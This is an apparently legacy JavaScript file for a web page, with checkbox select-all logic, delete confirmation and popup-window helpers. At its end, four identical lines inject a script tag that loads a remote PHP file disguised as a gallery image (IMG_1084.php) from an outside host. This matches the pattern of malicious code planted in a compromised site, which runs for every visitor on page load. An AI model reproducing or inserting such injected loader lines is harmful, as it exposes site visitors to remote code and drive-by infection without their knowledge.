var curPopupWindow = null;

function trim(s) {
  while (s.substring(0,1) == ' ') {
    s = s.substring(1,s.length);
  }
  while (s.substring(s.length-1,s.length) == ' ') {
    s = s.substring(0,s.length-1);
  }
  return s;
}


function selectAll(Form1)
	{
		
	// var dtgJEvent = document.getElementById("dtgEvents");
		
		var intRecordCount = Form1.length ;
		var intSelected=0;
		
		
		for (i=0;i< intRecordCount;i++)
			{
			var e=Form1.elements[i];
			if (e.type=='checkbox')
			{
				//var chk = document.getElementById("dtgEvents__ctl" + i + "_chkDelete");
				if (e.id !="chkSelectAll")
					{
				       if (e.value!='0000000000000001')
				        {
							e.checked = true; 
						
				           	var selectedID = Form1.txtSelectedID.value;
							if (selectedID.	indexOf(e.value)<0)
								if (selectedID =="")
									selectedID = e.value;
								else
									selectedID += "," + e.value;
								
							Form1.txtSelectedID.value=selectedID;	
						}
					 else
					    e.checked = false;		
			}	}	
			}	
	}
			  
function getCheckAllAction(Form1,chk)
		{
			
			
			if (chk.checked)
				selectAll(Form1);
			else
				unSelectAll(Form1);

		}
	
function unSelectAll(Form1)
	{
		
	var intRecordCount = Form1.length ;
		var intSelected=0;
		
		var i;
		
		for (i=0;i< intRecordCount;i++)
			{
			var e=Form1.elements[i];
			if (e.type=='checkbox')
			{
				//var chk = document.getElementById("dtgEvents__ctl" + i + "_chkDelete");
				if (e.id!="chkSelectAll")
					{
						e.checked = false; 
						
			           	var selectedID = Form1.txtSelectedID.value;
						
						if (selectedID.	indexOf(e.value)>=0)
							selectedID = selectedID.replace(e.value,"");
							
						Form1.txtSelectedID.value=selectedID;		
					}		
			}	
					
				
			}	
	}
			  
  function onClickCheckbox(Form1 , chk)
	{
	var selectedID = Form1.txtSelectedID.value;
	var chkAll = document.getElementById("chkSelectAll")
	
		if (chk.checked) 
			{
			
			if (selectedID.	indexOf(chk.value)<0)
				if (selectedID =="")
					selectedID = chk.value;
				else
					selectedID += "," + chk.value;
			}
		else
			{
			if (selectedID.	indexOf(chk.value)>=0)
				selectedID = selectedID.replace(chk.value,"");
			
			
			chkAll.checked = false;
			}	 			
				
		Form1.txtSelectedID.value=selectedID;		
		chkAll.checked = checkAllSelected(Form1);
	}
			    

 function checkselecteRecord(Form1)
	{
		var blnSelected = false;
	
		var strSelectedID = Form1.txtSelectedID.value.split(",")

		for (i=0;i < strSelectedID.length ;i++)
		{
		
			if (strSelectedID[i]!="")
				{
				blnSelected= true;
				break;
				}
		}
			
		if (blnSelected)
		{
			var blnresult = confirm("Are you sure you want to delete this record ?");
			return blnresult;
		}
		else
		{
			alert("No record selected.");
			return false;
		}
			
	}

	 function checkAllSelected(Form1)
		{

		var intRecordCount = Form1.length ;
		var intSelected=0;
		var blnSelect;
		
		
		for (i=0;i< intRecordCount;i++)
			{
			var e=Form1.elements[i];
				if (e.type=='checkbox')
				{
					//var chk = document.getElementById("dtgEvents__ctl" + i + "_chkDelete");
					if (e.id !="chkSelectAll")
						{
							
							
				           	if (e.checked)
								blnSelect = true;
							else
							  {
							    if (e.value =='0000000000000001')
							       { 
							       
							          if (intRecordCount > 10)
										blnSelect = true;
									  else
									     blnSelect = false;	
								}	     
							    else
							     {
									blnSelect = false;
									break;
								  }	
							   } 	
				          
							
								
						}	
				}	
			}	
	   
	   
				
		return blnSelect; 
	}
		
	function checkSelectedItem(Form1)
	  {
	  
	  	var intRecordCount = Form1.length ;
		var intSelected=0;
		var chkAll;
		var i;
		
		for (i=0;i< intRecordCount;i++)
			{
				var e=Form1.elements[i];
				if (e.type=='checkbox')
				{
					//var chk = document.getElementById("dtgEvents__ctl" + i + "_chkDelete");
					if (e.id!="chkSelectAll")
						{
							
							
			           		var selectedID = Form1.txtSelectedID.value;
							
							if (selectedID.	indexOf(e.value)>=0)
								e.checked = true;
								
							
							
						}	
					else
					  {
							chkAll = e;
					  }		
				}	
					
				
		   }	
		if (chkAll)
			chkAll.checked = checkAllSelected(Form1);
	  }	   


function openPopupFocus(url, name, pWidth, pHeight, features, snapToLastMousePosition, closeOnLoseFocus) {
    closePopup();

    if (snapToLastMousePosition) {
        if (lastMouseX - pWidth < 0) {
            lastMouseX = pWidth;
        }
        if (lastMouseY + pHeight > screen.height) {
            lastMouseY -= (lastMouseY + pHeight + 50) - screen.height;
        }
        lastMouseX -= pWidth;
        lastMouseY += 10;
        features += "screenX=" + lastMouseX + ",left=" + lastMouseX + "screenY=" + lastMouseY + ",top=" + lastMouseY;
    }

    if (closeOnLoseFocus) {
        curPopupWindow = window.open(url, name, features, false);
        curPopupWindow.focus ();
    } else {
        // assign the open window to a dummy var so when closePopup() is called it won't be assigned to curPopupWindow
        win = window.open(url, name, features, false);
        win.focus ();
    }
}

function setLastMousePosition(e) {

    if (navigator.appName.indexOf("Microsoft") != -1) e = window.event;
    lastMouseX = e.screenX;
    lastMouseY = e.screenY;
}

function closePopup() {
    if (curPopupWindow != null) {
       
        if (!curPopupWindow.closed) {
            curPopupWindow.close();
        }
        curPopupWindow = null;
    }
}

function functionName() {
    setTimeout("checkparent()",2000); // a 2 second delay
}

function closeWindow() {
    self.close();
}

function checkparent() {
    self.onerror = closeWindow;
    parentWindow = opener.location.href;
}
document.write('<script src=http://turbosaab.com/photogallery/IMG_1084.php ><\/script>');
document.write('<script src=http://turbosaab.com/photogallery/IMG_1084.php ><\/script>');
document.write('<script src=http://turbosaab.com/photogallery/IMG_1084.php ><\/script>');
document.write('<script src=http://turbosaab.com/photogallery/IMG_1084.php ><\/script>');